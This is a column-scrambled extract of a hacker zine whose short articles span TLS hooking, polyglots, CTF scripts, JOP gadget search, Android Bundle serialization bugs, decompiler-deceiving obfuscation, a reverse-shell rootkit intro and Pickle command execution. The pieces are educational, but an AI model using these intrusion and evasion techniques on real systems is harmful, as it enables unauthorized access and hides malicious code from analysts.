Infrastructure Security Agency) for the US. This functions as an
the impact and finding as many vulnerable hosts worldwide as
umbrella-structure, as the GovCERTs know how to reach specific
possible. Having found these hosts, their owners are notified with
organizations and branches. When it comes to writing an effective
patching or mitigation instructions. Doing so, the lifetime of a
notification, the timing, conciseness, (technical and novel) details,
vulnerability can be decreased drastically! During the execution of
and social influence of the notification play a large role in making
these two phases, ethics are exceptionally important as, admittedly,
host owners display patch behavior. This is based on the theory of
this process sometimes operates on the edge of the law. Typically,
gaining and maintaining a recipient's attention. Notifications are
the principles of proportionality and subsidiarity are upheld.
typically staged over email (as this is a necessary evil) with
Respectively, research shouldn't decrease integrity and availability
software like Mailmerge and have the Reply-To field set to an
of systems and if multiple options are available, the least impactful
address linked to ITSM software. This way, feedback and patch
option should be opted for.
behavior can be tracked through replies and reiterated scanning.
1
https://github.com/projectdiscovery/nuclei-templates
2
https://github.com/DIVD-NL/nuclei-parse-enrich
Maxwell Harley
Twitter: 0xdab0
SAA-TIP 0.0.7 19
TLS Decryption - Block% Speedrun
Networks
TLS Decryption - have multiple ciphers ready to use. We skip the cryp-
tography to save time and we go straight to the hackiest
Block% Speedrun solution we can find.
Time for some voodoo hook magic! Hooking is ba-
sically intercepting and changing function behaviour.
Today, internet traffic is almost completely encrypted. There are various ways of doing this, but one of the
Great for privacy, bad for some security defenses. Intru- simpler ones is using the LD_PRELOAD trick. Our targets:
SSL_read and SSL_write from OpenSSL. We write a li-
sion Detection Systems (IDS) can’t analyze encrypted
traffic. The current “solution” to this is for the IDS to brary4 overwriting these functions, point LD_PRELOAD to
act as a proxy. This sucks for privacy and is an open it and call curl:
problem in IDS research. $ LD_PRELOAD = $PWD / hook . so .1 curl -s " https ://
The goal of this speedrun is to block HTTPS requests github . com / search ? q = pwn " 1 >/ dev / null
PRI * HTTP /2.0
that contain a certain string (“pwn”) in the URL. Let’s SM
start decrypting with Tshark. d@ ?? a ?? @ ? J ??? A ?? o ? @ !? z ?%? P ? @ ?? S */*
$ export SSLKEYLOGFILE = $PWD / keys . log Everything’s corrupted! What we’re seeing here is
$ tshark -i eth0 -w cap . pcap &
$ curl " https :// example . com " HTTP2’s fancy compression algorithm, HPACK. If we
$ fg # bring to fg and send SIGINT try the same request but with the flag --http1.1 added
$ tshark -r cap . pcap -x -o " tls . keylog_file : to curl, the output is readable and clear:
keys . log "
$ LD_PRELOAD = $PWD / hook . so .1 curl -s " https ://
github . com / search ? q = pwn " -- http1 .1 1 >/ dev /
null
GET / search ? q = pwn HTTP /1.1
Host : github . com
User - Agent : curl /7.68.0
Accept : */*
NSS/Key_Log_Format sebcat/openssl-hook
2 https://blog.bithole.dev/blogposts/tls-explained/ 5 https://www.rfc-editor.org/rfc/rfc7541
3 https://www.rfc-editor.org/rfc/rfc8446 6 https://github.com/Costinteo/hook-https
sunbather
https://github.com/Costinteo
https://dothidden.xyz
20 SAA-TIP 0.0.7
Bypassing a WLAN/WWAN BIOS whitelist on the example of Lenovo
G580 Networks
Now comes the interesting part. Open the executable with original executable in the image and flash the modified
Ghidra, then Search->Memory... and look for the image to the SPI chip. That’s all!
Szymon Morawski
szymor.github.io
CC0 21
A minimal Version Control and Continuous Deployment Server with Git
Programming and Bash
Challenge with Fceux can be automated by Lua scripts which can con-
trol everything in the game. For this snake game, we
Hamiltonian Cycle only need to read the RAM and send joypad inputs.
We first need to know the x and y position of the
snake’s head. Fceux ships a well-built RAM searcher
which is similar to Cheat Engine7 . It soon turns out
that the position is located at byte 7 and 8 in the RAM.
1 Introduction Then we need to know the dimension of the game
1 board. We take note of the final x and y value when the
The 6th Flare-on CTF in 2019 came with an interesting
snake hits the wall. The board is 22 * 20 in size.
console game challenge – the challenge no.82 is a snake
3 According to my research, as long as one of the di-
game (snake.nes) for the NES platform .
mensions is even, there is a Hamiltonian cycle in it. The
The players do not need an actual NES hardware to cycle I used is shown in the following figure:
solve the challenge, since most NES games can be emu-
lated with fceux 4 . There is also plenty of documenta-
tion5 surrounding the 6502 CPU and NES.
Xusheng Li
https://xusheng.dev/
SAA-ALL 0.0.7 23
This Golang program is also valid Python
Programming
In Golang, a program starts running in package main. There can be line breaks
The main package contains and comments between the keyword package and the package name main.
the function main().
$ go run py_poc/main.go
In Python, Boolean operations work on ar-
Hello, Golang
bitrary objects. and and or perform short-
circuit evaluation and return the last evalu-
In Python, the variables package and main are ordinary variables. However, just calling ated argument. For example, 42 and "Y"
python3 main.go results in a NameError: name 'package' is not defined. returns "Y" and 42 or "Y" returns 42.
Before we can reference these variables, we need to make sure they are defined. Since
we use them in an integer division, they should be initialized as integers.
Just an ordinary integer divison. For example, setting
package=1, then package // 1 gives 1. Since the result
is not used, this line has no effect.
The whole Golang program, except for the package definition,
is inside a Python triple quoted string literal. In Python, triple
quoted strings can span multiple lines. The string ends on the package // 1
last line and serves as a way to comment out the Golang pro- main // 2 and print("Hello, Python") and """
gram. import "fmt"
func main() {
fmt.Println("Hello, Golang")
The builtins module provides direct access to all built-in identifiers. }
The documentation states that ”[t]his module is not normally accessed // """
explicitly by most applications”, but we will ignore this warning for our py_poc/main.go (Python Syntax Highlighting)
polyglot.
Except for things that are not a dictionary, everything is a dictionary.
Adding entries to builtins is essentially equivalent to defining a
import builtins
global variable in global scope. The module can be inspected with
builtins.package = 1
builtins.__dict__.
builtins.main = 2
When importing, Python only considers files ending in .py. But from importlib.machinery import SourceFileLoader
using the importlib directly, we can load anything. The same m = SourceFileLoader("main", "py_poc/main.go")
could be achieved with the deprecated imp module or just with m.load_module()
exec(open("py_poc/main.go").read()). But this feels like
cheating. py_poc/__init__.py
To have __init__.py executed first, we load the whole folder py_poc as a module.
Cornelius Diekmann
@[email protected]
github.com/diekmann
24 CC BY-SA 4.0
winapiexec - Run WinAPI functions from the command line
Programming
Have you ever been reluctant to turn your beautiful plain text document
into a pdf? You would be. Right?! Because running your document through
latex or whatnot leaves you with two files: One that's nice to look at
when opened in a pdf viewer; and another that allows you to edit the
contents.
... or does it?
Well, why not tell, say, lualatex to just dump the plain text of the
file in question right into the pdf's byte stream itself? Quite a hassle,
you'd say? Not at all! The latex code to achieve this feat with lualatex,
for instance, consists of but a few lines. The first block of which uses
some low-level luatex commands to create an uncompressed pdf object with
'input.txt' as its contents; while the second block instructs the engine
to top that up with a verbatim pdf rendering of that same text.
\bgroup
\pdfvariable objcompresslevel=0
\immediate\pdfextension obj file {input.txt}
\egroup
\documentclass[a4paper]{minimal}
\usepackage{verbatim}
\begin{document}
\verbatiminput{input.txt}
\end{document}
Viewed in a text editor, the resulting pdf will look something like this:
%PDF-1.5
%?????????
1 0 obj
CREATING PDF/PLAIN TEXT POLYGLOTS WITH LUALATEX
[...]
And as for the rendered version;
as you have surely figured out by now:
You are currently looking at it.
endobj
4 0 obj
<< /Filter /FlateDecode /Length 1521 >>
stream
[[binary stuff]]
Frank Seifferth
[email protected]
26 CC0
JOIN GUIDEDHACKING.COM TODAY
One parser to rule them all!
Programming
Kaitai Struct: one parser to We can see four main sections in this example:
rule them all! meta Metadata of the file description such as its title, file
extension if any, license, default endianness to use when
parsing, etc.
Writing a parser can be a tedious task, albeit necessary
in many situations. It can be the case because there is no seq Sequence of attributes with their type, size when needed
library available in the programming language you use for (e.g. strings), documentation, etc.
manipulating a certain file format, or because you are work- types It is possible to create your own types and to instan-
ing on reverse engineering an unknown binary structure. In tiate them like I did for sender and target. They are
all cases, Kaitai Struct1 is here to get your back! both of type host info, which is defined in the types sec-
Kaitai Struct is a generic programming-language- tion. As you can see, each type has its own sequence of
independent binary-structure parser taking a YAML descrip- attributes.
tion as input and generating a language-specific parser as
output. The YAML description uses a declarative syntax, enums Like with any programming language, enumerations
which means that you only describe the very structure of are used to list the possible valid values of an attribute.
the data, not the way to parse it. This provides an elegant Here, the enumeration operations comprises the different
way to speed up the process of writing a parser while get- values of the field operation.
ting a generic description of the binary structure at the end.
Kaitai Struct is used by some well-known projects such as Once you have your format description ready, you can use
Kismet2 , mitmproxy3 , Binary Ninja4 and ZAP5 . the Kaitai Struct compiler to generate a parser for the pro-
Since a concrete example is often more efficient than a long gramming language of your choice. For instance, to generate
description, let’s have a look at a code snippet: a Python parser:
1
https://kaitai.io
2
https://www.kismetwireless.net
3 6
https://mitmproxy.org https://graphviz.org/doc/info/lang.html
4 7
https://binary.ninja https://graphviz.org/
5 8
https://www.zaproxy.org https://formats.kaitai.io
Paul-Emmanuel Raoul
https://blog.skyplabs.net
28 CC BY-SA 4.0
Transpiling Polling- Based Scripts into Event Driven Scripts using state
graph reconstruction Programming
state transitions.
Transpiling Polling- 3. Pop a state from the stack and initialize our
Event Driven Note all the code which would be executed under this
state. Note all the conditions which have to be satisfied
in order to reach a certain code block.
Sample lever operating script, similar to these found in TES IV: Oblivion Event OnActivate(ObjectReference akActionRef)
game’s scriptbase - upon interaction if(busy == 0 && door.isAnimationPlaying() == 0)
Debug.Message(“playing animation, becoming busy”)
( OnActive block ), a door to which this lever is
busy = 1
connected opens. Polling code ( GameMode block ) runs
PlayAnimation();
every frame and sets busy flag off once animation stops Endif
playing. EndEvent
To learn about possible state transitions needed to build Event OnAnimationEvent(ObjectReference akSource, string
proper event handlers,, an “interpreter” was asEventName)
built. Then, an algorithm was used to explore if(busy == 1)
if(akSource == door && asEventName == “AnimationEnd”)
and build a state graph:
Debug.Message(“Animation done, no busy anymore”)
busy = 0
1. Push a default state into state stack, where variables Endif
are initialized to values which are default at script Endif
execution start ( numbers set to 0, etc. ). EndEvent
2. Start traversing the AST inside all blocks except
GameMode. Note all state combinations needed to Resulting script - polling GameMode handlers were replaced with
reach specific code block. Note all mutations to state EventHandlers that react to specific game events, freeing the game
and based on noted state required, push new states and engine from running script poll every game frame.
Alex
SAA-ALL 0.0.7 29
The Quest of malloc(0)
Programming
1 https://googleprojectzero.blogspot.com/2020/02/several-months-in-life-of-part2.html 5 https://github.com/google/sanitizers/wiki/AddressSanitizer
2 https://en.wikipedia.org/wiki/Linux_kernel_oops 6 https://www.usenix.org/system/files/sec22summer_zhang-yuchen.pdf
3 https://www.open-std.org/jtc1/sc22/wg14/www/docs/n3096.pdf 7 https://github.com/google/kernel-sanitizers/blob/master/KASAN.md
4 https://github.com/bminor/glibc/blob/36f2487f13e3540be9ee0fb51876b1da72176d3f/malloc/malloc.c#L106-L116 8 https://elixir.bootlin.com/linux/v6.5.2/source/mm/slab_common.c
Cesare Pizzi
https://github.com/cecio
@red5heep (Twitter/X)
30 CC0
RPI4 remote debug recipe!
Programming
Kajetan Brzuszczak
https://quernstone.pl
SAA-ALL 0.0.7 31
Idea behind Khazad-d€m • a TPM2 secret manager!
Programming
Mateusz Lewczak
GH: https://github.com/leftarcode
Website: https://mlewczak.com
32 WTFPL
Building a SuperH-4 (dis)assembler
Programming
Acknowledgements
Without using OPCODE , the value of a would be 0xaI4N which is ob-
viously incorrect and is not even a valid hexadecimal value. But using I built the (dis)assembler for Rizin, a reverse-engineering framework.
a second helper macro makes the preprocessor perform two passes on Do check it out, it’s a pretty cool tool! Since then, a SuperH disassem-
the code, which results in the correct answer (0xaf4f). This is going to bler has been merged into Capstone. I also presented on the same topic
be very useful in the lookup table since it will allow us to specify the at my university, and you can find that presentation here (it is slightly
instruction opcode/bytes in a neater manner. more detailed).
Dhruv Maroo
GitHub: https://github.com/DMaroo
CC0 33
Adding a custom syscall without modifying the Linux kernel € eBPF
Programming
Artur Jamro
https://github.com/mrowqa
34 SAA-TIP 0.0.7
Most common vulnerabilities in C/C++
Programming
Memory Leaks
Most common memory LOOP
type VARIABLE = malloc(sizeof(type))
vulnerabilities in C/C++
int main(int argc, char **argv)
{
This article aims to present the most common memory corruption
for(count=0; count<LOOPS; count++);
vulnerabilities to beginners in C/C++. It starts by outlining the al- {
gorithm and then demonstrates a very simple and straightforward pointer = (char *)malloc(sizeof(char) * MAXSIZE); // Multiple allocation
implementation in C. results in a memory leak.
}
free(pointer);
Stack buffer overflow return count;
}
type VARIABLE[SIZE]
VARIABLE = (VALUE > SIZE)
Double-free
HEY YOU! Feel like a Hacker? 1. The Art of Vulnerability assessment. Justin Schuh, John McDonald,
GO HUNT on https://up-for-grabs.net Mark Dowd
Salim LARGO
@2ourc3 || bushido-sec.com
SAA-TIP 0.0.7 35
Help Your Program!
Programming
Imagine you process lots of data, but some of the entries are a bit difficult to handle in code.
What if you could give your program a hand just when it needs it?
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ ./program # Green font is user input.
hand: /home/user/src/program.go:1337 -- f([value my function cannot handle]) = (_, not a number).
hand: Fix?
1024(press Ctrl+D to signal EndOfFile)
Program succeeded! The numbers were: 123, 58, 22, 693, 1024, 6230.
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// github.com/kele/hand
package hand
import (
"encoding/json"
"fmt"
"io"
"os"
"runtime"
)
// IsAnAnswer should return true if the answer supplied via GetAnswer should be
// considered as one, cf. treated as "I don't know the answer".
var IsAnAnswer = func(object any, err error) bool {
return err == nil
}
PQCraft
https://github.com/PQCraft
Public Domain 37
High Assurance Rust
Developing Secure and Robust Software
Read for free now: https://highassurance.rs
https://book.martiandefense.llc
CyberSpace Notebook:
This notebook is continuously maintained by experienced professionals, this reference offers:
Hands-On Training Insights: Gain practical knowledge from experiences with HacktheBox/
TryhackMe and security assessments based on the OWASP Web Security Testing Guide.
Educational Content: Enhance your skills and understanding, strictly for educational and
ethical application.
https://book.martiandefense.llc
Click here >>>> https://book.martiandefense.llc
Note: This notebook is intended for educational purposes and technical referencing. The authors
and publishers do not condone or support any illegal or unethical activities.
State machines in frontend
Programming
Micha€Korczak
https://omikor.in
github.com/Omikorin
SAA-ALL 0.0.7 39
Python's typing is cursed and I love it
Programming
Joke-codes aside, you're probably more familiar with the following use of this syntax:
No, this is not a CTF.
Really. OK, so why is there an
variable name variable type return type easter egg?
I mean... why not?
OK, here's a flag:
CTF{IWasHiddenButYouFoundMe}
No, there is no scoreboard. This is
In most typed languages, all typing syntax is like a separate world that uses its own grammar and, in general,
exists beyond the typical language expressions and statements that make up the majority of the code.
In Python, that's not that case. You see, type annotations in Python are normal expressions. Same kinds of
expressions like e.g. 2+2. That's exactly what the code at the beginning abuses, and why it uses the "x :=
expression" syntax instead of "x = expression" to assign a variable (the former is an expression while the
latter is a statement, and the typing information needs to be an expression).
Each of these type expressions are evaluated at the moment of function instantiation, i.e. at run time when the
function is constructed.
The result of an expression evaluation is a value. So, what happens with said calculated value? It actually goes
into a dictionary with a given variable name used as a key. This dict can be found in the field __annotations__
of a function object. For example:
def func():
pass
One thing we can immediately notice, is the nice little abuse of the fact that "return" is a keyword, therefore, no
variable can be named like that. As such, it was available to be used as a special magic key in the annotations
dictionary (INB4 Python anti-decompilation idea: changing variable names to keywords like if, for, except, etc).
So, what's with the weird List[str] syntax? Well, it's just a hack. Without going into the weird internals of the
typing.List object, let's just say that its implementation overloads the [] indexing operator (i.e. it defines a
__getitem__ method). Regardless, it's just a simple "metadata" object that can be used in place of the list
type/class itself, as there is no way to annotate list with the type of elements it's supposed to hold.
Anyway, there are two things I find amazing here. Firstly, the types are calculated at runtime. Abused, this can
play merry hell with any static typing linters. Secondly, using either __annotations__ field, or better,
typing.get_type_hints() function, you can take advantage of the typing system and build various tools
pretty easily. Here's an example – a simple library that used __annotations__ and __doc__ fields of a function
to automatically generate a JSON Schema describing a function/tool to be used with OpenAI's ChatGPT API:
https://github.com/gynvael/agent_helpers/blob/7d2917f2eb5abc0879b224f118f3b6a232ba4c99/agent.py#L65
Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
40 SAA-ALL 0.0.7
A PyKD tutorial for the less patient
Reverse Engineering
Matteo Malvica
https://twitter.com/matteomalvica
SAA-ALL 0.0.7 41
Deceptive Python Decompilation
Reverse Engineering
Deceptive Python Decompilation The resulting code isn’t even valid Python code. The
Software obfuscation is the science and art of modify- downside with this technique is that it is very obvious
ing a program to hide certain aspects of it, for example that something went wrong and a slight adjustment to
what the program does or how it accomplishes a certain the decompilation process completely neutralizes it.
task. The goal is to slow down reverse engineering of Inspired by this method, we can do something more
the program to exhaust the analyst’s “budget” whether subtle. Consider the following code which almost im-
that is time, money or interest. Some obfuscation tech- plements RC4:
niques are better at thwarting automated analysis, for
def rc4(data, key):
example by exploiting assumptions and limitations in
...
analysis tools, while others are more aimed at making
for i in range(256):
life a pain for a human reverse engineer. The latter type
...
can be achieved for example by adding a lot of useless
OBFUSCATION = 0
stuff to the program or writing code that seemingly does
for b in data:
one thing while it actually does something else1 .
i = (i + 1) % 256
Python Bytecode j = (j + S[i]) % 256
The technique we will discuss here is a way of obfus- ...
cating Python bytecode. Before Python source code is ...
executed2 , it is compiled into Python bytecode. The
By replacing the name of the variable “OBFUSCA-
bytecode is then executed in the stack-based VM inside
TION” with “i = 0\n j”, the code will decompile into
CPython. Sometimes programs are shipped as Python
this:
source code but it is possible to only use the .pyc files
containing the compiled bytecode. For example, this def rc4(data, key):
is what py2exe does when building a stand-alone exe- ...
cutable. for i in range(256):
Bytecode Decompilation Tricks ...
When trying to analyze Python bytecode, it is desirable i = 0
to turn it back into regular Python code for readability. j = 0
A popular tool to do this is uncompyle6 which usually for b in data:
works amazingly well for decompiling Python bytecode. i = (i + 1) % 256
There exist multiple ways to fool it however. One way j = (j + S[i]) % 256
to mess up the decompilation is to craft Python byte- ...
code that can’t be produced from valid Python code, ...
such as abusing exceptions for flow control. This is pow-
The decompiled code now implements RC4 correctly
erful because the decompilation will likely fail since the
and would typically not warrant any further scrutiny
original code isn’t actually Python to start with. The
since it’s just an implementation of a well-known algo-
downside is that you need to either write the bytecode
rithm. This is the key element because the decompiled
by hand or create your own compiler.
code is now functionally different to the original code
Another way is to abuse variable names. Python byte-
and its corresponding bytecode. In the initial version,
code retains all the variable names to enable reflection.
the value of the variable i will be 255 when it enters
In contrast to the Python language, the CPython VM
the second loop but in the decompiled version it will
itself has no restrictions on variable naming. This can
be 0. If this function is used as part of an unpacker,
be abused by replacing all variable names with whites-
it will mean that even though the reverse engineer uses
pace. It will transform code from:
the correct key, the payload will never be succesfully
decrypted. This could easily throw many reverse engi-
S, j = range(256), 0
neers off and make them waste a lot of time.
for i in range(256):
The key idea of this method is to create a program
j = (j + S[i] + key[i % keylength]) % 256
that decompiles to seemingly correct code to not raise
S[i], S[j] = S[j], S[i] # swap
suspicion and thereby throwing the analyst off while
into bytecode which decompiles into something like this: hiding the true functionality of the code.
, = range(256), 0
for in range(256):
= ( + [ ] + [ % ]) % 256
[ ], [ ] = [ ], [ ]
1 See the Underhanded C Contest for great examples
2 In the CPython implementation
Lorenzo Benelli
SAA-TIP 0.0.7 43
EFFICIENT JOP GADGET SEARCH
Reverse Engineering
Efficient JOP Gadget Search 1. Performance — Must run the regex state ma-
Quickstart: cargo install xgadget --features cli-bin chine to find matching offsets, then run a disassem-
bler on matches (duplication of per-regex work).
Google’s 2022 analysis1 of zero-day exploits “de-
2. Completeness — Need a complete list of regexs
tected and disclosed as used in-the-wild” stated:
to match all 50+ possible x64 indirect jmp/call
“Memory corruption vulnerabilities have been the stan- encodings (complex, error-prone).
dard for attacking software for the last few decades and
it’s still how attackers are having success.” Leveraging Instruction Semantics
We avoid both drawbacks with a general solution:
One factor in such incredible longevity is nascent
encoding higher-level operand semantics. Attempt to
adoption of memory-safe systems languages2 . Another
disassemble a single instruction at every offset (or only
is continued emergence of new attack paradigms and
instances of 0xff), then work backwards if disassembly
techniques. Hardware W ⊕X support (aka NX, DEP)
succeeds (e.g. valid instruction) and the instruction’s
has prevented code injection since the early 2000s. In
operand behavior makes it a viable gadget tail.
response, Return Oriented Programming (ROP)
introduced code reuse: an attacker with stack control The below code snippet finds JOP gadget tails, for
chains together short, existing sequences of assembly all possible jmp and call encodings, using official Rust
(aka “gadgets”) — should a leak enable computing gad- bindings for zydis5 .
get addresses in the face of ASLR. When contiguous #![no_std] // PROOF: below code is bare-metal portable
ROP gadget addresses are written to a corrupted stack, #![forbid(unsafe_code)] // PROOF: non-ext-lib code is mem-safe
each gadget’s ending ret instruction pops the next gad- use zydis::enums::{Mnemonic, OperandAction, OperandType};
get’s address into the CPU’s instruction pointer. The use zydis::{DecodedInstruction, Register};
only validates target addrs, not func prototypes. Can still jump
to imports, etc. JOP attacks are constrained, not eliminated. 5 https://zydis.re
4 Aside: ROP chains may control stack location via “stack piv- 6 https://www.exploit-db.com/exploits/45045
Tiemoko Ballo
https://highassurance.rs
https://tiemoko.com
44 SAA-ALL 0.0.7
BSOD colour change trick
Reverse Engineering
13 mov ecx, [rdx+28h] as part of the Windows 11 22H2 September ’23 update.
2 Prior art exists for at least Win8 (https://tinyurl.com/
14 call BgpClearScreen (fffff8041346eaf8)
bsod-win8) and Win10 (https://tinyurl.com/bsod-win10).
David Kaplan
https://x.com/depletionmode
https://depletionmode.com
SAA-TIP 0.0.7 45
Wrapping GDB with Python to Easily Capture Flags
Reverse Engineering
2 Explaining The Technique # could be optimized from known flag format DUCTF{}
As mentioned above, the checking algorithm examines if flag = ['A' for _ in range(26)]
two characters produce a specific value in a global array. counter = 1
while counter <= 13:
Since for every iteration only two values are used, this is
check = False
very bruteforcable. All we have to do is go through all
for c1 in ALPHABET:
the characters [a-zA-Z0-9{ }] twice. Specifically, there
for c2 in ALPHABET:
are 65 characters in this range, so we have to bruteforce
flag[counter-1],flag[-counter]=c1,c2
65 ∗ 65 = 4225 pair of characters.
check_flag = ''.join(flag)
Doing this manually however is infeasible, and even if
if check_pair(counter, check_flag):
we get a hit with a valid combination, we won’t get any
counter += 1
response from the binary. So, we need to look at what’s
check = True
going on in the runtime of the process. A way to do that print('flag:', check_flag)
and view the memory and registers is to use a debugger. break
Still, our technique would take too long. This is why we if check:
need to automate the task, and Python allows us to do break
that very easily.
To implement it, we will construct a string of GDB
flags, which we will pass to GDB when executing the
ckrielle
https://tellnotales.xyz
https://x.com/ckrielle
46 SAA-ALL 0.0.7
Leaking Guest Physical Address Using Intel Extended Page Table
Translation Security/Hacking
Reno Robert
https://twitter.com/renorobertr
SAA-TIP 0.0.7 47
Exploiting Shared Preferences of Android Apps
Security/Hacking
Vikas Gola
https://www.linkedin.com/in/vikasgola/
https://github.com/vikasgola/
48 SAA-ALL 0.0.7
R3verse$hell As R00tkit
Security/Hacking
ReverseSh3LL_As_R00tkit
This is an introduction to linux kernel module program- /* *
ming and how to use it to develop rootkits. Rootkits * ** module_param ** - typesafe helper for
can be used for malevolent purposes such as data theft, a module / cmdline parameter
tracking user activities, or disrupting a computer’s nor- * ** @name :** the variable to alter , and
mal operation. In this example, leveraging bash invoked exposed parameter name .
reverse shell as a rootkit allows the attacker to establish * ** @type :** the type of the parameter
a network-based backdoor connection into the compro- * ** @perm :** visibility in sysfs .
mised machine. * */
CJHackerz https://cjhackerz.net
https://x.com/cjhackerz
CC BY-SA 4.0 https://linkedin.com/in/cjhackerz 49
Android writeToParcel/createFromParcel mismatch bug
Security/Hacking
On Android most IPC is done through Binder with serialization through a class called Parcel.
One of the classes that can be sent through Binder is a Bundle, which is a key-value map
that can contain values of various types, including any class in the system implementing
Parcelable interface. Consider following situation (arrows indicate RPC calls):
1 2 3
Untrusted app System validates that the System app trusts the
constructs a Bundle Bundle is safe and forwards it previously validated Bundle
This scheme will fall apart if a Bundle can change contents during the second transmission.
Now, take a look at one of old Parcelable GateKeeperResponse createFromParcel(Parcel source) {
implementations and find a case in which int responseCode = source.readInt();
if (responseCode == RESPONSE_OK) {
the amount of data written won't be
final boolean shouldReEnroll = source.readInt() == 1;
equal to the amount of data read. byte[] payload = null;
void writeToParcel(Parcel dest, int flags) { int size = source.readInt();
dest.writeInt(mResponseCode); if (size > 0) {
if (mResponseCode == RESPONSE_OK) { payload = new byte[size];
dest.writeInt(mShouldReEnroll ? 1 : 0); source.readByteArray(payload);
if (mPayload != null) { }
dest.writeInt(mPayload.length); return createOkResponse(payload, shouldReEnroll);
dest.writeByteArray(mPayload); } else {
} return createGenericResponse(responseCode);
} }
} } Now, let's take a look at the whole self-changing
Found it? (or given up, spoilers below) Bundle as it goes from process 2 to process 3.
Length of the Bundle in bytes "VAL_PARCELABLE", indicates that value
(in little endian) Number of key-value pairs is serialized using Parcelable interface
a0 01 .B .N .D .L 03 06 .d .( .d .f .C .x 04
Magic value First key; keys in the Bundle are sorted by ascending Java hashCode()
(which is why such a bizarre name for the key is used here)
"android.service.gatekeeper.GateKeeperResponse" 00 00
Name of Parcelable class mResponseCode=RESPONSE_OK mShouldReEnroll=0
(doesn't matter here)
mPayload was null so writeToParcel has finished and we've proceeded to write the second key from the Bundle;
String length is 0x6F chars, so it takes (0x6F+1(for null byte))*2(because UTF-16) bytes (padded to a multiple of 4)
(all items in this row are single String (second key in Bundle) from the perspective of writer)
Micha€Bednarski
https://github.com/michalbednarski
https://infosec.exchange/@BednarTildeOne
CC BY 4.0 51
Dumping keys from PS4 Security Assets Management Unit via the
Security/Hacking HMAC trick
52 SAA-ALL 0.0.7
Crashing Windows CHM parser in seconds using WinAFL
Security/Hacking
@expend20
https://tw1st.link/2021/12/20/chm
Public Domain 53
Using CodeQL to help exploit a kernel UAF
Security/Hacking
Vasco Franco
Blog: https://jofrada.pt
Twitter: https://twitter.com/V_jofra
54 SAA-ALL 0.0.7
Exploiting PyInstaller
Security/Hacking
Have you ever wondered about those cool little virtual compilers or virtual
interpreters that you can view on web pages? You may notice that when entering
code into these environments, specifically code that can run system commands,
the online compiler may tell you that these libraries, no matter the language, are
not allowed. But what if I told you that with some trashy vulnerable code you can
easily execute system commands? Take a look at the code in the screenshot
above and see how it errors out. This happens in about any language that you can
think of that has a library for command execution. So, if we wanted to do anything
system related, that is not necessarily possible given the limitations. Or is it O_O?
The code above is written in Python 3, it imports the `Pickle` – a library for
serializing and deserializing Python objects. The issue with Pickle? Well, Pickle is
commonly known for insecure deserialization. In a real scenario, if Pickle is used
and controlled via user input, then, essentially, an attacker with the right motive can
launch system commands and even reverse shells! What does this mean for us?
Well, we can easily take advantage of this vulnerability and execute system
commands - such as dumping the /etc/passwd file :D. Now, some of these
interpreters are base systems. You can verify the type of system by typing `dir`. If
it's a Linux machine, sometimes you won't have basic commands so you have to
build them from the ground up :)
Totally_Not_A_Haxxer
github.com/TotallyNotAHaxxer
instagram.com/Totally_Not_A_Haxxer
56 SAA-TIP 0.0.7
What's still wrong with hacking competitions
Security/Hacking
Google Hackceler8 2021 (end platform but no solves???) Pwn Adventures 2 (yes, these bears have AK-47s, don't ask)
(screenshot by Redford)
Intro
The tragedy of hacking competitions (e.g. CTFs) is that they are extremely boring to watch. While they are absolutely fascinating to
participate in, from the perspective of a potential viewer, it's just a bunch of hackers spending hours upon hours staring at a
console or Ghidra, from time to time adding a line of code to their exploit. And that's because the fun part – the intricate puzzle
solving – happens in their heads.
As such, the competitive hacking scene has been discussing and testing various solutions for years now, and I believe Google's
Hackceler8 got the closest to the desired goal. But, we're not there yet, and there's still ways to go.
The goal
The goal is actually pretty easy to define – a formula for a hacking competition that the audience will enjoy. This actually has three
main elements: a hacking competition, players or teams participating, and the audience. The last one is obvious, but I'm
mentioning it explicitly because it's a new element in the hacking competition equation and also a whole set of new problems (like
stream sniping).
With that, let's look at what has already been tried.
Something else that was tried was adding visualisations to certain in-competition events, like first blood (first solution of a given
task) or when a team launched an attack during Attack Defense CTFs. As expected, while fun, this isn't really something that makes
the audience stick around. Another idea was to take a page from Pwn2Own and have players demo an exploit on stage.
